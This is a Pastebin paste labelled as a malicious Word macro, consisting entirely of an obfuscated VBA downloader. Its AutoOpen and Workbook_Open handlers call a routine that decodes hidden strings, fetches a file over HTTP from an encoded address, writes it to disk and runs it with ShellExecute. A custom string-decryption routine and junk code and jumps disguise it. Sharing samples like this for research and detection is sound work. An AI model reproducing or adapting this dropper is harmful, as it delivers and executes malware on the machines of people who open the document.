Advertisement
dynamoo

Malicious Word macro

Jan 20th, 2015
506
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub uiwefds()
  10. pKIOHiosdf
  11. End Sub
  12. Sub AutoOpen()
  13.     uiwefds
  14. End Sub
  15. Sub Workbook_Open()
  16.     uiwefds
  17. End Sub
  18. Function vyllq8a(ByVal vWebFile As String, ByVal pNJKBjkdsf As String) As Boolean
  19.     Dim lLJ As Long, GYUbjsdf As Long, drdTYIdsf() As Byte
  20. GoTo F3EUlsL
  21. F3EUlsL:
  22.      
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.     Set oNJBJkdsfsdf = CreateObject(mqkX0Ayu("xnuvx454F3ObhRKtaH48mm97Tj519WP2ANr45u4JYq3YzY448tkga4g2Zwpt950F2gB71SjK4sDGTrmn515CiD59I5EM1li92uy4wD54L3pk4k4j84LXio4f24LcNEq8DoN4A9Wz564Rs9wR56rQAGCpp4720h8aq5"))
  31. GoTo vIMF7E
  32. vIMF7E:
  33.     oNJBJkdsfsdf.Open mqkX0Ayu("M3rH5hFO041489RxDGr613T71zeo9Ka5964UYBYn"), vWebFile, False
  34. GoTo RMAdNKcIJW
  35. RMAdNKcIJW:
  36.     oNJBJkdsfsdf.Send
  37. Dim y0IiLysLq As String
  38.      
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.      
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.     drdTYIdsf = oNJBJkdsfsdf.responseBody
  54. GoTo vDvd1aJ
  55. vDvd1aJ:
  56.      
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.     GYUbjsdf = FreeFile
  65. GoTo ryobDYUX
  66. ryobDYUX:
  67.     If Dir(pNJKBjkdsf) <> "" Then Kill pNJKBjkdsf
  68. GoTo PeOZe
  69. PeOZe:
  70.     Open pNJKBjkdsf For Binary Access Write As #GYUbjsdf
  71. GoTo bknS
  72. bknS:
  73.     Put #GYUbjsdf, , drdTYIdsf
  74. GoTo B0AiUg
  75. B0AiUg:
  76.     Close #GYUbjsdf
  77. Dim vIEdN As Currency
  78.  
  79.     Set oNJBJkdsfsdf = Nothing
  80. Dim cIRt4Ae As Double
  81.     Dim xlapp As Object
  82. GoTo YGt
  83. YGt:
  84.     Set xlapp = CreateObject(mqkX0Ayu("SCmjZ3wFtp48p6S4j3bB68gQ424ku2lMIMd4kDw536yC45L3lOso6XE1um9cf3j2Dn4A0N7Wz447RVQ0r4PsH4C7BnMSrhg818uMt42G0A4pOw453TIJx6441mr0DTiCuKec41q58oTUH4UA07Y4Of4as8M72LE4U4g10JBV4Mrtuh662S4SKf6lh20Cgqxf"))
  85. GoTo JOP4E
  86. JOP4E:
  87.     xlapp.ShellExecute Environ(mqkX0Ayu("uvZ46D7w2y55Fe2HkCdy0i6wb8k616ijc6u40jXmRC")) & mqkX0Ayu("LMXl35V8v819Qs891EL95020GA28x1B9501wJ9892r028Fzelo3B9o391950Cm1h989O2K0c28t1H794YH393946WT80f3O939aqwJ")
  88. GoTo QfmDLcA
  89. QfmDLcA:
  90.     End Function
  91. Sub pKIOHiosdf()
  92. GoTo TWAl
  93. TWAl:
  94. HUIBuerwfds = mqkX0Ayu("5UN17B17Xa6Ov80n048Uo0W04w772iw840x0K2dA324Y3h324UN3cPy3450qa33E1G2WP3519cr3v1L74P33q8k1x3657DI36Rb57TJ3W174s33Sju813864KNS317t4bC3y8uQOhI0T7n69w64Vo3u7q954s0p02ig3m86B4RN331r2386L4Fm3G31IT23a2U4y3m7l383Ok7u6U59x717GY63s2f4i3k7lJ521E807X3dj72Rp45C31H74Zl7728AzxNA7176772k8nEGCpe")
  95. Dim MBAbp As Boolean
  96.      
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103. vyllq8a HUIBuerwfds, Environ(mqkX0Ayu("WXGS5FO04h4e1c4oRxDm0r6GT64a62tm4A8k0IYBIn")) & mqkX0Ayu("VBJX39P56zdaY2Z19pSn3M2Q1S5K0CQbyc2so2362iy1gH5b0219zxKep3j2236keinWJgJV817EUB43q2eN15fL0D2A1N9Wz3rR22VP3D61a9j78BLH43E4BXxv35cGF160ZrO4xG3RD43JYTE")
  104.  
  105. End Sub
  106. Function mqkX0Ayu(InputStringToBeDecrypted As String) As String
  107. Dim rJ54OUtqS As String
  108. Dim sIrDHBnBj As Object
  109. Dim Dg3E As String
  110. Dim LeZ As Date
  111. Dim wsgK8OOm As String
  112. Dim jEORug As Object
  113. Dim pDYhkPBNg As String
  114. GoTo HyYIF
  115. HyYIF:
  116. Dim AIZv5X1Ct As String
  117. GoTo DERmyA
  118. DERmyA:
  119. Dim CFvi As Integer
  120. GoTo updG7ULj
  121. updG7ULj:
  122. Dim e6IwavHZ As Integer
  123. Dim dcFTKZgvE As Double
  124. On Error GoTo ErrorHandler
  125. Dim UUZahwG As Currency
  126. strTempText = InputStringToBeDecrypted
  127. Dim oQl As Date
  128. rJ54OUtqS = strTempText
  129. Dim picFbmq As String
  130. Dg3E = ""
  131. Dim yukk As Long
  132. rJ54OUtqS = Left(rJ54OUtqS, Len(rJ54OUtqS) - 4)
  133. GoTo Wo2aZS
  134. Wo2aZS:
  135. rJ54OUtqS = Right(rJ54OUtqS, Len(rJ54OUtqS) - 4)
  136. Dim gCwB As Long
  137. nCharSize = 0
  138. Dim vm0LeZbpak As Object
  139. Call Extract_Char_Size(rJ54OUtqS, nCharSize)
  140. Dim JP5IYI1CiQqn As Long
  141. Call Extract_Enc_Key(rJ54OUtqS, nCharSize, nEncKey)
  142. Dim EJY As Object
  143. nTextLenght = Len(rJ54OUtqS)
  144. GoTo lmAV
  145. lmAV:
  146. For nCounter = 1 To Len(rJ54OUtqS) Step nCharSize
  147. GoTo dXMo
  148. dXMo:
  149. pDYhkPBNg = Mid(rJ54OUtqS, nCounter, nCharSize)
  150. Dim sEWCoQ As Byte
  151. nChar = oLsDFg(pDYhkPBNg)
  152. Dim jXH As Boolean
  153. nChar2 = nChar / nEncKey
  154. GoTo YWv
  155. YWv:
  156. AIZv5X1Ct = Chr(nChar2)
  157. Dim lqsqsIrDH As Boolean
  158. Dg3E = Dg3E + AIZv5X1Ct
  159. Dim Z4Of As Object
  160. Next nCounter
  161. Dim PSvi8w As Byte
  162. Dim FgCwBe As Long
  163. Dim mFbuT0a6N As Variant
  164. Dg3E = Trim(Dg3E)
  165. Dim gs2EgnGcKiQ As String
  166.  mqkX0Ayu = Dg3E
  167. Dim pdGqnG6Irod As Date
  168. Exit Function
  169. ErrorHandler:
  170. GoTo tak6AhD
  171. tak6AhD:
  172. End Function
  173.  
  174.  
  175. Sub Extract_Char_Size(ByRef rJ54OUtqS, ByRef nCharSize)
  176. Dim gfVj As String
  177. DecryptParts = DecryptParts & "/Extract_Char_Size/"
  178. Dim FbmqkXH As Boolean
  179. nLeft = Len(rJ54OUtqS) \ 2
  180. GoTo BeQcvqsIrD
  181. BeQcvqsIrD:
  182. strLeft = Left(rJ54OUtqS, nLeft)
  183. Dim rB6UIJ As Variant
  184. GoTo AZXwv
  185. AZXwv:
  186. nRight = Len(rJ54OUtqS) - nLeft
  187. Dim R8AtJP As Byte
  188. strRight = Right(rJ54OUtqS, nRight)
  189. Dim Tb8I As Boolean
  190. GoTo KiQqnPN
  191. KiQqnPN:
  192. strKeyEnc = Right(strLeft, 2)
  193. Dim h2IKZgvE As Double
  194. strKeySize = Left(strRight, 2)
  195. Dim afa As String
  196. strKeyEnc = viuOJK(strKeyEnc)
  197. GoTo X1aPSviu2a
  198. X1aPSviu2a:
  199. strKeySize = viuOJK(strKeySize)
  200. GoTo S0OBjfi2AsIB
  201. S0OBjfi2AsIB:
  202. nKeyEnc = Val(strKeyEnc)
  203. Dim yAdPbupdG As Boolean
  204. nKeySize = Val(strKeySize)
  205. GoTo cF3aJ5UvE
  206. cF3aJ5UvE:
  207. nCharSize = nKeySize - nKeyEnc
  208. Dim H7Um As Date
  209. rJ54OUtqS = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
  210. Dim XHy8Iviu2a As Byte
  211. End Sub
  212.  
  213. Function viuOJK(ByVal cString As String) As String
  214. DecryptParts = DecryptParts & "/ viuOJK/"
  215. GoTo QX0
  216. QX0:
  217. For nCounter = 1 To Len(cString)
  218. GoTo N01UZbpak
  219. N01UZbpak:
  220. pDYhkPBNg = Mid(cString, nCounter, 1)
  221. Dim eL6O6od As Date
  222. If IsNumeric(pDYhkPBNg) Then
  223. Dim frwrtW8IbAi As Double
  224. GoTo e3Ifr8OwGl
  225. e3Ifr8OwGl:
  226. strTempString = strTempString + pDYhkPBNg
  227. Dim fVja7U4Hm As Date
  228. Else
  229. strTempString = strTempString + "0"
  230. Dim KnKU As Double
  231. End If
  232. Next nCounter
  233. Dim PSvi8w As Byte
  234. Dim FgCwBe As Long
  235. Dim mFbuT0a6N As Variant
  236.  viuOJK = strTempString
  237. Dim TCoYNMC0OsN As Variant
  238. End Function
  239.  
  240. Function oLsDFg(strTempText As String) As Integer
  241. DecryptParts = DecryptParts & "/ oLsDFg/"
  242. GoTo nG5AYDE3OP
  243. nG5AYDE3OP:
  244. strTempText = Trim(strTempText)
  245. Dim YWoTHh0UeU As Object
  246. For nCounter = 1 To Len(strTempText)
  247. Dim tSAZX As Long
  248. pDYhkPBNg = Mid(strTempText, nCounter, 1)
  249. Dim yY1UK As Currency
  250. If IsNumeric(pDYhkPBNg) Then
  251. Dim frwrtW8IbAi As Double
  252. GoTo e3Ifr8OwGl
  253. e3Ifr8OwGl:
  254. rJ54OUtqS = rJ54OUtqS + pDYhkPBNg
  255. GoTo lgkcA
  256. lgkcA:
  257. End If
  258. Next nCounter
  259. Dim PSvi8w As Byte
  260. Dim FgCwBe As Long
  261. Dim mFbuT0a6N As Variant
  262. nResult = Val(rJ54OUtqS)
  263. GoTo fiNsI0bp
  264. fiNsI0bp:
  265.  oLsDFg = nResult
  266. Dim Q6OfVjapic As Byte
  267. End Function
  268.  
  269. Sub Extract_Enc_Key(ByRef rJ54OUtqS, ByVal nCharSize, ByRef nEncKey)
  270. Dim DFgCwB5Oqsq As Boolean
  271. DecryptParts = DecryptParts & "/Extract_Enc_Key/"
  272. GoTo M8AX
  273. M8AX:
  274. strEncKey = vbNullString
  275. GoTo tVUKXPeXCJ
  276. tVUKXPeXCJ:
  277. CFvi = Len(rJ54OUtqS) - nCharSize
  278. GoTo p41Iji
  279. p41Iji:
  280. nLeft = CFvi \ 2
  281. GoTo f5OFn2OJ3Oaaf
  282. f5OFn2OJ3Oaaf:
  283. strLeft = Left(rJ54OUtqS, nLeft)
  284. Dim rB6UIJ As Variant
  285. GoTo AZXwv
  286. AZXwv:
  287. nRight = CFvi - nLeft
  288. Dim EiU As Date
  289. strRight = Right(rJ54OUtqS, nRight)
  290. Dim Tb8I As Boolean
  291. GoTo KiQqnPN
  292. KiQqnPN:
  293. strEncKey = Mid(rJ54OUtqS, nLeft + 1, nCharSize)
  294. GoTo EdNC
  295. EdNC:
  296. strEncKey = viuOJK(strEncKey)
  297. Dim QCOUPRt As Byte
  298. nEncKey = Val(Trim(strEncKey))
  299. Dim Y2UcDCrGwNF As Object
  300. rJ54OUtqS = strLeft + strRight
  301. Dim KS0EHtVp As Boolean
  302. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement